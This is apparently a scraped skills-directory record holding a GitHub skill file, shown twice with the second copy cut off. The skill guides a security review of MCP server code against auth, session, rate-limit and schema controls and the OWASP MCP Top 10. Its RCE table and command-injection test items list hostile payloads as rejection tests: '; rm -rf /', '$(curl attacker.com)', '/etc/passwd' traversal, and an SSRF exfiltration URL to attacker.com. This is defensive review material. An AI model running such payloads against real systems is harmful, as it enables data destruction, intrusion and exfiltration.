[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ADTKEB054R8992PB4913BW":3,"skill-same:01M6ADTKEB054R8992PB4913BW":80},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":56,"commitSha":57,"skillDirectory":58,"forksCount":59,"repositoryHtmlUrl":60,"repositoryHomepageUrl":61,"ownerHtmlUrl":62,"ownerBlogUrl":63,"ownerDescription":64,"updatedAt":65,"install":66,"resources":79},"01M6ADTKEB054R8992PB4913BW","mcp-implementation-security-review",null,"Review the implementation source code of MCP (Model Context Protocol) servers, clients, and tool handlers against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file\u002Fline evidence. Use this skill when:\n- Reviewing an MCP server implementation for security before release\n- Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10\n- Auditing tools for RCE vectors (command\u002Fcode injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF)\n- Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server\n- Reviewing MCP client code that handles untrusted server responses and session IDs\n- Requests like \"review this MCP server for security\" or \"is my MCP server implementation secure?\"","github\u002Fawesome-copilot","github","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F9919?v=4","01M6AC83DS133TPXFSP1DHNCC6","GitHub","01M6AD3PBDYPK7NVFJNJ66Y8RS",41081,"MIT","https:\u002F\u002Fgithub.com\u002Fgithub\u002Fawesome-copilot\u002Fblob\u002Fmain\u002Fskills\u002Fmcp-implementation-security-review\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"review","MCP","security","implementation","security review","mcp implementation security review","when","top","dependency","command","model","ids","server","file","validation","release","authentication","report","code","owasp mcp","secure","official","auth","sessions","model context protocol","mcp server","sdk","2026-11-10 10:12:30",false,"---\nname: mcp-implementation-security-review\ndescription: |\n  Review the implementation source code of MCP (Model Context Protocol) servers, clients, and tool handlers against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file\u002Fline evidence. Use this skill when:\n  - Reviewing an MCP server implementation for security before release\n  - Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10\n  - Auditing tools for RCE vectors (command\u002Fcode injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF)\n  - Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server\n  - Reviewing MCP client code that handles untrusted server responses and session IDs\n  - Requests like \"review this MCP server for security\" or \"is my MCP server implementation secure?\"\n---\n\n# MCP Implementation Security Review\n\n## Process\n\n### Step 1 — Classify the target\n- Check **MCP protocol version [2025-03-26](https:\u002F\u002Fmodelcontextprotocol.io\u002Fspecification\u002F2025-03-26) or later** (current: [2025-11-25](https:\u002F\u002Fmodelcontextprotocol.io\u002Fspecification\u002F2025-11-25)). Flag older versions as a finding but continue the review.\n- Determine whether the target is a **server** or **client**.\n- Classify transport as **network-exposed** or **local-only** using the transport reference below.\n- Record transport, protocol version, and whether sessions exist.\n\n**Completion criterion:** Target type, protocol status, and transport are identified.\n\n### Step 2 — Filter false positives\n- Apply the **False Positive Filters** before opening findings.\n- Keep docs only when they describe the repo's own server behavior, deployment, transport, or auth posture.\n- For framework\u002FSDK repositories, scope findings to the **default configuration** and **public API surface**.\n\n**Completion criterion:** Remaining evidence is in-scope code, repo-owned docs, or public API behavior.\n\n### Step 3 — Check baseline controls\n- For **network-exposed servers**, check **MCP-01** through **MCP-05**.\n- For **local\u002FSTDIO servers**, do not mark baseline controls PASS\u002FFAIL; give best-practice notes and continue to RCE review.\n- For **clients**, only review token\u002Fsession handling explicitly visible in client code; do not apply the server baseline unless the user asks for client-side risk review.\n\n**Completion criterion:** Each applicable control has a supported status.\n\n### Step 4 — Check RCE vectors\n- Review all 7 RCE vectors.\n- Mark each vector **SAFE**, **AT RISK**, or **N\u002FA**.\n- Prefer direct evidence over inference; the RCE Vectors table below enumerates the patterns to look for.\n\n**Completion criterion:** Every relevant tool has an RCE result or explicit N\u002FA.\n\n### Step 5 — Check OWASP MCP Top 10\n- Evaluate all 10 OWASP risks below.\n- If a control from Step 3 already fully covers an OWASP risk, reference that result rather than re-checking.\n- For local\u002FSTDIO servers, mark network-dependent OWASP risks (MCP07, MCP09) as N\u002FA.\n- Mark each risk PASS, FAIL, or NEEDS INVESTIGATION.\n\n**Completion criterion:** All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.\n\n### Step 6 — Report\n- Use the **Compliance Output Format** below.\n- Include file\u002Fline references in every justification.\n- Separate code findings from manual follow-ups.\n- If evidence is incomplete, use **NEEDS INVESTIGATION** and name the missing artifact.\n\n**Completion criterion:** The report includes controls, RCE, optional OWASP, and actions.\n\n## Reference\n\n### Decision rules\n- **Network-exposed server:** Apply **all 5 controls**, then run RCE and requested OWASP checks.\n- **Local\u002FSTDIO server:** Give **best-practice guidance only** for the 5 controls; still run RCE because tool input can execute locally.\n- **Client:** Review received-token handling and refusal to trust server-provided session IDs; do not force server controls unless asked.\n- **Reverse proxy or container exposure:** If traffic can reach the server over a network, treat it as **network-exposed** even if inner binding is localhost.\n- **Unclear evidence:** Do not guess. Mark **NEEDS INVESTIGATION** and say what must be verified manually.\n- **Ambiguous auth coverage:** Auth middleware exists but it is unclear whether it covers MCP endpoints → mark **NEEDS INVESTIGATION**.\n- **Undeterminable transport:** If transport cannot be established from code, flag for manual review and do **not** assume STDIO — defaulting to STDIO would wrongly skip the server controls.\n\n### Transport classification\n\n**Network-exposed (enforce all controls):**\n\n| Pattern | Transport |\n|---|---|\n| `transport=\"http\"` or `transport=\"sse\"` | HTTP\u002FSSE |\n| `StreamableHttpServerTransport` | HTTP (TS\u002FJS) |\n| `SSEServerTransport` | SSE (TS\u002FJS) |\n| `WithHttpTransport()` | HTTP (C#) |\n| `host=\"0.0.0.0\"` | All-interfaces binding |\n| Express `.listen(port)` with MCP routes | HTTP (default `0.0.0.0`) |\n| `EXPOSE` in Dockerfile + MCP server | Network-exposed |\n\n**Local-only (best practices only):**\n\n| Pattern | Transport |\n|---|---|\n| `StdioServerTransport` | STDIO (TS\u002FJS) |\n| `WithStdioServerTransport()` | STDIO (C#) |\n| `transport=\"stdio\"` | STDIO |\n| `mcp.run()` with no args (Python FastMCP) | STDIO default |\n| `.vscode\u002Fmcp.json` with `command` key and no URL | STDIO child process |\n\n**Host binding gotchas:**\n\n| Binding | Actual exposure |\n|---|---|\n| `host=\"0.0.0.0\"` | ? Network-exposed |\n| `host=\"127.0.0.1\"` or `localhost` | ? Local-only |\n| No explicit host (Express\u002FNode) | ? Defaults to `0.0.0.0` |\n| No explicit host (Python FastMCP) | ? Depends on transport — verify |\n| Docker `ports: \"8000:8000\"` | ? Network-exposed even if the process binds `127.0.0.1` inside the container |\n\n### False Positive Filters\n\n| FP pattern | How to detect |\n|---|---|\n| `.github\u002Fskills\u002F` templates | Path contains `.github\u002Fskills\u002F` — skill template, not server code |\n| Vendored SDK \u002F OSS copies | File defines `class FastMCP`, `class McpServer`, or path is in `node_modules\u002F`, `vendor\u002F` |\n| MCP client configs | `.vscode\u002Fmcp.json` with `inputs`\u002F`servers` but no server code |\n| Documentation \u002F tutorials | `.md`, `.rst` with code fences unrelated to the repo's own server |\n| Outbound-only auth libraries | `DefaultAzureCredential`, service account JSON, or similar used only for outbound auth |\n\nDocs describing the repo's **own** server behavior, transport, auth posture, or deployment are **not** false positives.\n\n## Controls Reference\n\n### MCP-01 — Identity isolation\n**Scope:** Remote MCP servers\n\n**Condition**\n- Authenticate every inbound request with a trusted identity provider and enforce authorization at the server boundary; do not infer auth from session IDs, prior requests, or network location.\n- Use a **unique server-specific application identity** and audience\u002Fresource identifier; outbound calls use independently scoped service credentials or on-behalf-of flow where required, never the inbound token.\n- Unauthenticated discovery endpoints are allowed only for metadata-only OAuth\u002FMCP bootstrapping: `\u002F.well-known\u002Foauth-protected-resource`, `\u002F.well-known\u002Foauth-authorization-server`, `\u002F.well-known\u002Fopenid-configuration`.\n\n**What to check**\n- Token validation and authorization middleware run on every MCP route; authorization distinguishes tool invoke, read-only, and admin operations if present.\n- Identity config shows a dedicated application\u002Fclient\u002Fresource ID and audience; outbound clients acquire their own tokens and never copy inbound `Authorization`.\n- Discovery endpoints return metadata only and cannot execute tools or expose protected data.\n\n**Key pitfall:** Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.\n\n### MCP-02 — Sessions\n**Scope:** Remote MCP servers that support sessions\n\n**Applicability**\n- No session identifiers issued or used anywhere → mark **N\u002FA** (per-request auth is still required; see MCP-01).\n- Sessions managed by the transport\u002FSDK (e.g., Streamable HTTP `Mcp-Session-Id`) but generation\u002Fbinding not visible in source → mark **NEEDS INVESTIGATION**, not FAIL.\n- Session identifiers present in code → score **PASS\u002FFAIL** against the conditions below.\n\n**Condition**\n- Authenticate and authorize **every** request; session state never substitutes for token validation.\n- Session IDs are opaque correlation\u002Fcontinuity tokens only; they do not grant privileges, encode authorization, or bypass auth.\n- Session IDs are CSPRNG-generated, unpredictable, bound to an authenticated context, and never embedded in URLs.\n\n**What to check**\n- Middleware validates tokens per request, not only when a session starts.\n- Authorization logic never trusts a session ID alone; loss or reuse of a session ID must not grant access.\n- Session creation uses random IDs (GUID v4\u002FCSPRNG acceptable; sequential or time-based IDs are not).\n\n**Key pitfall:** Treating a session ID as a bearer credential turns a correlation token into authentication.\n\n### MCP-03 — Rate limits\n**Scope:** MCP servers and tools\n\n**Condition**\n- Enforce rate limits and abuse protection on tool discovery and tool invocation.\n- Enforce limits **at the MCP server runtime**, not only at a gateway; partition by authenticated identity and by session where sessions exist.\n- Apply stricter limits to mutation-capable and high-cost tools; when limits are exceeded, fail closed with **HTTP 429** and **Retry-After** and do not execute the tool.\n\n**What to check**\n- Rate-limit middleware or equivalent is present on discovery and invocation endpoints in server code, not just in ingress or proxy config.\n- Limits are keyed by identity and session, with tighter budgets for write\u002Fhigh-cost operations.\n- Exceeded requests stop before backend action and return 429 with Retry-After.\n\n**Starting thresholds** (tune to actual load, downstream limits, and cost):\n\n| Tool type | Per-identity | Per-session | Notes |\n|---|---|---|---|\n| Read-only \u002F listing | 100\u002Fmin | 200\u002Fmin | Lower if downstream APIs are sensitive |\n| Mutation \u002F write | 10\u002Fmin | 20\u002Fmin | Stricter for state-changing ops |\n| High-cost compute | 5\u002Fmin | 10\u002Fmin | Cost-weighted; watch cloud spend |\n| Tool discovery | 30\u002Fmin | 60\u002Fmin | Prevents enumeration abuse |\n\n**Key pitfall:** Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.\n\n### MCP-04 — Schema validation\n**Scope:** MCP servers exposing tools with structured arguments\n\n**Condition**\n- Validate **all** tool arguments against explicit schemas **before execution**.\n- Schemas define types, required fields, enums, and bounds, and reject unspecified properties by default (`additionalProperties: false` or equivalent).\n- Validation runs server-side on every invocation; invalid input fails closed with a 400\u002FMCP error and no backend action.\n\n**What to check**\n- Each tool descriptor has a schema covering types, required fields, enums, bounds, and property restrictions.\n- Validation occurs at the server boundary on every call, not only in clients, gateways, or downstream services.\n- Negative tests reject malformed input, extra properties, and bounds violations.\n\n**Key pitfall:** Allowing extra properties or client-only validation creates hidden attack surface and scope creep.\n\n### MCP-05 — SDK-first\n**Scope:** Remote MCP servers\n\n**Condition**\n- Build remote MCP servers on an **official MCP SDK** for your server's language:\n  - **Tier 1 (fully supported):** TypeScript (modelcontextprotocol\u002Ftypescript-sdk), Python (modelcontextprotocol\u002Fpython-sdk), C#\u002F.NET (modelcontextprotocol\u002Fcsharp-sdk), Go (modelcontextprotocol\u002Fgo-sdk)\n  - **Tier 2\u002F3 (developing):** Java (modelcontextprotocol\u002Fjava-sdk), Kotlin (modelcontextprotocol\u002Fkotlin-sdk), Rust (modelcontextprotocol\u002Frust-sdk), Swift (modelcontextprotocol\u002Fswift-sdk), PHP (modelcontextprotocol\u002Fphp-sdk), Ruby (modelcontextprotocol\u002Fruby-sdk)\n- If not using an official SDK, mark MCP-05 as NEEDS INVESTIGATION.\n- Keep the SDK current and patched, and verify which controls are automatic versus manual.\n\n**What to check**\n- Dependencies reference an official MCP SDK rather than a hand-rolled HTTP\u002FSSE stack.\n- If no SDK is used, the repo contains direct evidence for auth\u002Fauthz, sessions, rate limits, and schema validation.\n- Dependency pinning and update hygiene show the SDK is maintained.\n\n**Key pitfall:** Hand-rolled servers often miss one \"small\" primitive—per-request auth, throttling, or validation—and the gaps compound.\n\n## RCE Vectors\n\n| Vector | Dangerous code | Safe alternative | Test payload | CWE |\n|---|---|---|---|---|\n| Command injection | `exec(\"convert \" + args.filename)`, `os.system(f\"process {user_input}\")`, `Process.Start(\"cmd\", \"\u002Fc \" + toolArg)` | `execFile(\"convert\", [args.filename])`, `subprocess.run([\"process\", user_input], shell=False)` | `; rm -rf \u002F`, `$(curl attacker.com)`, `| net user` must be rejected or treated literally | CWE-78 |\n| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist | `__import__('os').system('whoami')`, `require('child_process').exec('id')` must be rejected | CWE-94, CWE-95 |\n| Unsafe deserialization | `pickle.loads(user_data)`, `yaml.load(input, Loader=yaml.UnsafeLoader)`, `BinaryFormatter.Deserialize(stream)` | `yaml.safe_load()`, `JSON.parse()` plus schema validation; avoid binary formats for untrusted input | Crafted serialized payloads must be rejected or safely handled | CWE-502 |\n| Path traversal | `fs.readFile(args.path)` without validation, `open(user_path, 'w')` | Canonicalize and enforce an allowlisted base directory before read\u002Fwrite\u002Fexecute | `..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd`, `C:\\Windows\\System32\\config\\SAM`, `..\\..\\..\\.env` must be rejected | CWE-22 |\n| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only | `{{7*7}}`, `${7*7}`, `\u003C%= 7*7 %>` must not render `49` | CWE-1336 |\n| Dependency hijacking | Unpinned deps such as `\"lodash\": \"^4.0.0\"`; internal package names resolvable from public registries | Pin exact versions, keep lock files with integrity hashes, use trusted\u002Fscoped registries, verify signatures where available | `npm audit`, `pip audit`, or `dotnet list package --vulnerable`; review for CVEs and suspicious packages | CWE-829 |\n| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes\u002Fdomains, block RFC1918 and link-local targets, validate URLs before sending | `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`, `http:\u002F\u002Flocalhost:8080\u002Fadmin`, `http:\u002F\u002Fattacker.com\u002F?data=stolen` must be rejected | CWE-918 |\n\n## OWASP MCP Top 10\n\n**MCP01:2025 — Token Mismanagement & Secret Exposure**\nTest: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived\u002Frotated tokens.\nPass: No hardcoded secrets, sensitive fields redacted, short-lived\u002Frotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.\n\n**MCP02:2025 — Privilege Escalation via Scope Creep**\nTest: Review scopes\u002Froles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion.\nPass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.\n\n**MCP03:2025 — Tool Poisoning**\nTest: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions.\nPass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.\n\n**MCP04:2025 — Supply Chain Attacks & Dependency Tampering**\nTest: Check for lock files, exact pinning, suspicious `postinstall` scripts, dependency audit results, and trusted registries.\nPass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.\n\n**MCP05:2025 — Command Injection & Execution**\nTest: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test `; ls`, `$(whoami)`, `| cat \u002Fetc\u002Fpasswd`.\nPass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, `shell=True` with formatted strings, or unsafe concatenation.\n\n**MCP06:2025 — Prompt Injection via Contextual Payloads**\nTest: Check whether tool output goes back to the LLM, whether external content is sanitized\u002Ftruncated\u002Fsandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output.\nPass: Tool outputs are data, untrusted content is sanitized\u002Ftruncated\u002Fsandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.\n\n**MCP07:2025 — Insufficient Authentication & Authorization**\nTest: Send requests without auth and with expired\u002Finvalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway.\nPass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.\n\n**MCP08:2025 — Lack of Audit and Telemetry**\nTest: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting.\nPass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.\n\n**MCP09:2025 — Shadow MCP Servers**\nTest: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev\u002Fstaging isolation; verify an owner and review trail.\nPass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev\u002Ftest exposure into production networks, or no ownership.\n\n**MCP10:2025 — Context Injection & Over-Sharing**\nTest: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation.\nPass: Minimal data is returned, sensitive fields are masked\u002Fexcluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.\n\n## Compliance Output Format\n\nIn every summary table below, the **Justification** cell must cite specific file\u002Fline evidence for the status.\n\n### Control summary\n\n| Control | Name | Status | Justification |\n|---|---|---|---|\n| MCP-01 | Auth & Identity isolation | ✅ PASS \u002F ❌ FAIL \u002F ⚠️ NEEDS INVESTIGATION \u002F N\u002FA | … |\n| MCP-02 | Secure Session Management | … | … |\n| MCP-03 | Rate limiting & abuse protection | … | … |\n| MCP-04 | Input schema validation | … | … |\n| MCP-05 | Production SDK usage | … | … |\n\nUse **PASS** only when the code clearly satisfies the control. Use **FAIL** when the violation is observable. Use **NEEDS INVESTIGATION** when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.\n\n### RCE summary\n\n| Vector | Status | Justification |\n|---|---|---|\n| Command injection | SAFE \u002F AT RISK \u002F N\u002FA | … |\n| Dynamic code evaluation | … | … |\n| Unsafe deserialization | … | … |\n| Path traversal | … | … |\n| SSTI | … | … |\n| Dependency hijacking | … | … |\n| SSRF | … | … |\n\n### OWASP summary\n\n| Risk | Status | Justification |\n|---|---|---|\n| MCP01:2025 | ✅ PASS \u002F ❌ FAIL \u002F ⚠️ NEEDS INVESTIGATION | … |\n| MCP02:2025 | … | … |\n| MCP03:2025 | … | … |\n| MCP04:2025 | … | … |\n| MCP05:2025 | … | … |\n| MCP06:2025 | … | … |\n| MCP07:2025 | … | … |\n| MCP08:2025 | … | … |\n| MCP09:2025 | … | … |\n| MCP10:2025 | … | … |\n\n### Manual follow-ups\nList every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.\n\n## Exception process\n- **Document the gap:** Identify the unmet control, the exact deviation, residual risk, and any compensating controls.\n- **Get explicit approval:** Route the exception through security\u002Frelease approval with an owner and an expiration or review date.\n- **Track and re-evaluate:** Record the approved exception with compliance results and revisit it on expiry or whenever the server, tools, traffic profile, or exposure changes.\n","# MCP Implementation Security Review\n\n## Process\n\n### Step 1 — Classify the target\n- Check **MCP protocol version [2025-03-26](https:\u002F\u002Fmodelcontextprotocol.io\u002Fspecification\u002F2025-03-26) or later** (current: [2025-11-25](https:\u002F\u002Fmodelcontextprotocol.io\u002Fspecification\u002F2025-11-25)). Flag older versions as a finding but continue the review.\n- Determine whether the target is a **server** or **client**.\n- Classify transport as **network-exposed** or **local-only** using the transport reference below.\n- Record transport, protocol version, and whether sessions exist.\n\n**Completion criterion:** Target type, protocol status, and transport are identified.\n\n### Step 2 — Filter false positives\n- Apply the **False Positive Filters** before opening findings.\n- Keep docs only when they describe the repo's own server behavior, deployment, transport, or auth posture.\n- For framework\u002FSDK repositories, scope findings to the **default configuration** and **public API surface**.\n\n**Completion criterion:** Remaining evidence is in-scope code, repo-owned docs, or public API behavior.\n\n### Step 3 — Check baseline controls\n- For **network-exposed servers**, check **MCP-01** through **MCP-05**.\n- For **local\u002FSTDIO servers**, do not mark baseline controls PASS\u002FFAIL; give best-practice notes and continue to RCE review.\n- For **clients**, only review token\u002Fsession handling explicitly visible in client code; do not apply the server baseline unless the user asks for client-side risk review.\n\n**Completion criterion:** Each applicable control has a supported status.\n\n### Step 4 — Check RCE vectors\n- Review all 7 RCE vectors.\n- Mark each vector **SAFE**, **AT RISK**, or **N\u002FA**.\n- Prefer direct evidence over inference; the RCE Vectors table below enumerates the patterns to look for.\n\n**Completion criterion:** Every relevant tool has an RCE result or explicit N\u002FA.\n\n### Step 5 — Check OWASP MCP Top 10\n- Evaluate all 10 OWASP risks below.\n- If a control from Step 3 already fully covers an OWASP risk, reference that result rather than re-checking.\n- For local\u002FSTDIO servers, mark network-dependent OWASP risks (MCP07, MCP09) as N\u002FA.\n- Mark each risk PASS, FAIL, or NEEDS INVESTIGATION.\n\n**Completion criterion:** All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.\n\n### Step 6 — Report\n- Use the **Compliance Output Format** below.\n- Include file\u002Fline references in every justification.\n- Separate code findings from manual follow-ups.\n- If evidence is incomplete, use **NEEDS INVESTIGATION** and name the missing artifact.\n\n**Completion criterion:** The report includes controls, RCE, optional OWASP, and actions.\n\n## Reference\n\n### Decision rules\n- **Network-exposed server:** Apply **all 5 controls**, then run RCE and requested OWASP checks.\n- **Local\u002FSTDIO server:** Give **best-practice guidance only** for the 5 controls; still run RCE because tool input can execute locally.\n- **Client:** Review received-token handling and refusal to trust server-provided session IDs; do not force server controls unless asked.\n- **Reverse proxy or container exposure:** If traffic can reach the server over a network, treat it as **network-exposed** even if inner binding is localhost.\n- **Unclear evidence:** Do not guess. Mark **NEEDS INVESTIGATION** and say what must be verified manually.\n- **Ambiguous auth coverage:** Auth middleware exists but it is unclear whether it covers MCP endpoints → mark **NEEDS INVESTIGATION**.\n- **Undeterminable transport:** If transport cannot be established from code, flag for manual review and do **not** assume STDIO — defaulting to STDIO would wrongly skip the server controls.\n\n### Transport classification\n\n**Network-exposed (enforce all controls):**\n\n| Pattern | Transport |\n|---|---|\n| `transport=\"http\"` or `transport=\"sse\"` | HTTP\u002FSSE |\n| `StreamableHttpServerTransport` | HTTP (TS\u002FJS) |\n| `SSEServerTransport` | SSE (TS\u002FJS) |\n| `WithHttpTransport()` | HTTP (C#) |\n| `host=\"0.0.0.0\"` | All-interfaces binding |\n| Express `.listen(port)` with MCP routes | HTTP (default `0.0.0.0`) |\n| `EXPOSE` in Dockerfile + MCP server | Network-exposed |\n\n**Local-only (best practices only):**\n\n| Pattern | Transport |\n|---|---|\n| `StdioServerTransport` | STDIO (TS\u002FJS) |\n| `WithStdioServerTransport()` | STDIO (C#) |\n| `transport=\"stdio\"` | STDIO |\n| `mcp.run()` with no args (Python FastMCP) | STDIO default |\n| `.vscode\u002Fmcp.json` with `command` key and no URL | STDIO child process |\n\n**Host binding gotchas:**\n\n| Binding | Actual exposure |\n|---|---|\n| `host=\"0.0.0.0\"` | ? Network-exposed |\n| `host=\"127.0.0.1\"` or `localhost` | ? Local-only |\n| No explicit host (Express\u002FNode) | ? Defaults to `0.0.0.0` |\n| No explicit host (Python FastMCP) | ? Depends on transport — verify |\n| Docker `ports: \"8000:8000\"` | ? Network-exposed even if the process binds `127.0.0.1` inside the container |\n\n### False Positive Filters\n\n| FP pattern | How to detect |\n|---|---|\n| `.github\u002Fskills\u002F` templates | Path contains `.github\u002Fskills\u002F` — skill template, not server code |\n| Vendored SDK \u002F OSS copies | File defines `class FastMCP`, `class McpServer`, or path is in `node_modules\u002F`, `vendor\u002F` |\n| MCP client configs | `.vscode\u002Fmcp.json` with `inputs`\u002F`servers` but no server code |\n| Documentation \u002F tutorials | `.md`, `.rst` with code fences unrelated to the repo's own server |\n| Outbound-only auth libraries | `DefaultAzureCredential`, service account JSON, or similar used only for outbound auth |\n\nDocs describing the repo's **own** server behavior, transport, auth posture, or deployment are **not** false positives.\n\n## Controls Reference\n\n### MCP-01 — Identity isolation\n**Scope:** Remote MCP servers\n\n**Condition**\n- Authenticate every inbound request with a trusted identity provider and enforce authorization at the server boundary; do not infer auth from session IDs, prior requests, or network location.\n- Use a **unique server-specific application identity** and audience\u002Fresource identifier; outbound calls use independently scoped service credentials or on-behalf-of flow where required, never the inbound token.\n- Unauthenticated discovery endpoints are allowed only for metadata-only OAuth\u002FMCP bootstrapping: `\u002F.well-known\u002Foauth-protected-resource`, `\u002F.well-known\u002Foauth-authorization-server`, `\u002F.well-known\u002Fopenid-configuration`.\n\n**What to check**\n- Token validation and authorization middleware run on every MCP route; authorization distinguishes tool invoke, read-only, and admin operations if present.\n- Identity config shows a dedicated application\u002Fclient\u002Fresource ID and audience; outbound clients acquire their own tokens and never copy inbound `Authorization`.\n- Discovery endpoints return metadata only and cannot execute tools or expose protected data.\n\n**Key pitfall:** Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.\n\n### MCP-02 — Sessions\n**Scope:** Remote MCP servers that support sessions\n\n**Applicability**\n- No session identifiers issued or used anywhere → mark **N\u002FA** (per-request auth is still required; see MCP-01).\n- Sessions managed by the transport\u002FSDK (e.g., Streamable HTTP `Mcp-Session-Id`) but generation\u002Fbinding not visible in source → mark **NEEDS INVESTIGATION**, not FAIL.\n- Session identifiers present in code → score **PASS\u002FFAIL** against the conditions below.\n\n**Condition**\n- Authenticate and authorize **every** request; session state never substitutes for token validation.\n- Session IDs are opaque correlation\u002Fcontinuity tokens only; they do not grant privileges, encode authorization, or bypass auth.\n- Session IDs are CSPRNG-generated, unpredictable, bound to an authenticated context, and never embedded in URLs.\n\n**What to check**\n- Middleware validates tokens per request, not only when a session starts.\n- Authorization logic never trusts a session ID alone; loss or reuse of a session ID must not grant access.\n- Session creation uses random IDs (GUID v4\u002FCSPRNG acceptable; sequential or time-based IDs are not).\n\n**Key pitfall:** Treating a session ID as a bearer credential turns a correlation token into authentication.\n\n### MCP-03 — Rate limits\n**Scope:** MCP servers and tools\n\n**Condition**\n- Enforce rate limits and abuse protection on tool discovery and tool invocation.\n- Enforce limits **at the MCP server runtime**, not only at a gateway; partition by authenticated identity and by session where sessions exist.\n- Apply stricter limits to mutation-capable and high-cost tools; when limits are exceeded, fail closed with **HTTP 429** and **Retry-After** and do not execute the tool.\n\n**What to check**\n- Rate-limit middleware or equivalent is present on discovery and invocation endpoints in server code, not just in ingress or proxy config.\n- Limits are keyed by identity and session, with tighter budgets for write\u002Fhigh-cost operations.\n- Exceeded requests stop before backend action and return 429 with Retry-After.\n\n**Starting thresholds** (tune to actual load, downstream limits, and cost):\n\n| Tool type | Per-identity | Per-session | Notes |\n|---|---|---|---|\n| Read-only \u002F listing | 100\u002Fmin | 200\u002Fmin | Lower if downstream APIs are sensitive |\n| Mutation \u002F write | 10\u002Fmin | 20\u002Fmin | Stricter for state-changing ops |\n| High-cost compute | 5\u002Fmin | 10\u002Fmin | Cost-weighted; watch cloud spend |\n| Tool discovery | 30\u002Fmin | 60\u002Fmin | Prevents enumeration abuse |\n\n**Key pitfall:** Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.\n\n### MCP-04 — Schema validation\n**Scope:** MCP servers exposing tools with structured arguments\n\n**Condition**\n- Validate **all** tool arguments against explicit schemas **before execution**.\n- Schemas define types, required fields, enums, and bounds, and reject unspecified properties by default (`additionalProperties: false` or equivalent).\n- Validation runs server-side on every invocation; invalid input fails closed with a 400\u002FMCP error and no backend action.\n\n**What to check**\n- Each tool descriptor has a schema covering types, required fields, enums, bounds, and property restrictions.\n- Validation occurs at the server boundary on every call, not only in clients, gateways, or downstream services.\n- Negative tests reject malformed input, extra properties, and bounds violations.\n\n**Key pitfall:** Allowing extra properties or client-only validation creates hidden attack surface and scope creep.\n\n### MCP-05 — SDK-first\n**Scope:** Remote MCP servers\n\n**Condition**\n- Build remote MCP servers on an **official MCP SDK** for your server's language:\n  - **Tier 1 (fully supported):** TypeScript (modelcontextprotocol\u002Ftypescript-sdk), Python (modelcontextprotocol\u002Fpython-sdk), C#\u002F.NET (modelcontextprotocol\u002Fcsharp-sdk), Go (modelcontextprotocol\u002Fgo-sdk)\n  - **Tier 2\u002F3 (developing):** Java (modelcontextprotocol\u002Fjava-sdk), Kotlin (modelcontextprotocol\u002Fkotlin-sdk), Rust (modelcontextprotocol\u002Frust-sdk), Swift (modelcontextprotocol\u002Fswift-sdk), PHP (modelcontextprotocol\u002Fphp-sdk), Ruby (modelcontextprotocol\u002Fruby-sdk)\n- If not using an official SDK, mark 